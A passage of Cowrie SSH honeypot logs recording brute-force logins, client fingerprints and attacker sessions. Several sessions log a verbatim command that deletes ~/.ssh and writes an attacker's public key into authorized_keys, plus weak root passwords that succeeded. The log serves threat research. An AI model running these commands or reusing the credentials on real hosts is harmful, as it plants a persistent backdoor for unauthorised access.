.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:12.284595Z","src_ip":"49.49.239.64","session":"c4fc92bc0772","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:13.341383Z","src_ip":"49.49.239.64","session":"c4fc92bc0772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:14.602164Z","src_ip":"49.49.239.64","session":"c4fc92bc0772","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.49.239.64","src_port":40882,"dst_ip":"159.203.135.109","dst_port":22,"session":"39ee0ae10b72","protocol":"ssh","message":"New connection: 49.49.239.64:40882 (159.203.135.109:22) [session: 39ee0ae10b72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:14.864389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:14.869282Z","src_ip":"49.49.239.64","session":"39ee0ae10b72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:15.131086Z","src_ip":"49.49.239.64","session":"39ee0ae10b72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.233.116.124","src_port":29668,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5ce4728358f","protocol":"ssh","message":"New connection: 68.233.116.124:29668 (159.203.135.109:22) [session: e5ce4728358f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:16.035200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:16.039506Z","src_ip":"68.233.116.124","session":"e5ce4728358f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:16.207718Z","src_ip":"49.49.239.64","session":"39ee0ae10b72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e13ba222a14b8b916c6c32f9fd6aec5d","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: e13ba222a14b8b916c6c32f9fd6aec5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:16.258145Z","src_ip":"68.233.116.124","session":"e5ce4728358f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:16.467975Z","src_ip":"49.49.239.64","session":"de791211d3a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:16.472404Z","src_ip":"49.49.239.64","session":"39ee0ae10b72","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Abc.1234","message":"login attempt [root/Abc.1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:17.165648Z","src_ip":"68.233.116.124","session":"e5ce4728358f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:17.643089Z","src_ip":"68.233.116.124","session":"e5ce4728358f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:17.646552Z","src_ip":"68.233.116.124","session":"e5ce4728358f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:17.650084Z","src_ip":"68.233.116.124","session":"e5ce4728358f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:17.871912Z","src_ip":"68.233.116.124","session":"e5ce4728358f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:18.343272Z","src_ip":"68.233.116.124","session":"e5ce4728358f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:18.346699Z","src_ip":"68.233.116.124","session":"e5ce4728358f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:18.570945Z","src_ip":"68.233.116.124","session":"e5ce4728358f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:18.574513Z","src_ip":"68.233.116.124","session":"e5ce4728358f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":58784,"dst_ip":"159.203.135.109","dst_port":22,"session":"43a95d6213d5","protocol":"ssh","message":"New connection: 68.183.236.1:58784 (159.203.135.109:22) [session: 43a95d6213d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:18.775310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:18.779876Z","src_ip":"68.183.236.1","session":"43a95d6213d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.233.116.124","src_port":30604,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8ef2aaece0f","protocol":"ssh","message":"New connection: 68.233.116.124:30604 (159.203.135.109:22) [session: b8ef2aaece0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:18.788429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:18.791414Z","src_ip":"68.233.116.124","session":"b8ef2aaece0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e13ba222a14b8b916c6c32f9fd6aec5d","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: e13ba222a14b8b916c6c32f9fd6aec5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:19.002524Z","src_ip":"68.233.116.124","session":"b8ef2aaece0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:19.023354Z","src_ip":"68.183.236.1","session":"43a95d6213d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:19.878091Z","src_ip":"68.233.116.124","session":"b8ef2aaece0f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Abc.1234","message":"login attempt [root/Abc.1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:20.032906Z","src_ip":"68.183.236.1","session":"43a95d6213d5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:20.563773Z","src_ip":"68.183.236.1","session":"43a95d6213d5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:20.567199Z","src_ip":"68.183.236.1","session":"43a95d6213d5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:20.570959Z","src_ip":"68.183.236.1","session":"43a95d6213d5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:20.819193Z","src_ip":"68.183.236.1","session":"43a95d6213d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:21.091631Z","src_ip":"68.233.116.124","session":"b8ef2aaece0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.233.116.124","src_port":31374,"dst_ip":"159.203.135.109","dst_port":22,"session":"62c8b531f509","protocol":"ssh","message":"New connection: 68.233.116.124:31374 (159.203.135.109:22) [session: 62c8b531f509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:21.293864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:21.299096Z","src_ip":"68.233.116.124","session":"62c8b531f509","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:21.346560Z","src_ip":"68.183.236.1","session":"43a95d6213d5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:21.350153Z","src_ip":"68.183.236.1","session":"43a95d6213d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e13ba222a14b8b916c6c32f9fd6aec5d","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: e13ba222a14b8b916c6c32f9fd6aec5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:21.513789Z","src_ip":"68.233.116.124","session":"62c8b531f509","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:21.599968Z","src_ip":"68.183.236.1","session":"43a95d6213d5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:21.604440Z","src_ip":"68.183.236.1","session":"43a95d6213d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":60150,"dst_ip":"159.203.135.109","dst_port":22,"session":"b96d57ad3edc","protocol":"ssh","message":"New connection: 68.183.236.1:60150 (159.203.135.109:22) [session: b96d57ad3edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:21.842707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:21.847633Z","src_ip":"68.183.236.1","session":"b96d57ad3edc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:24:22.093198Z","src_ip":"68.183.236.1","session":"b96d57ad3edc","protocol":"ssh"}
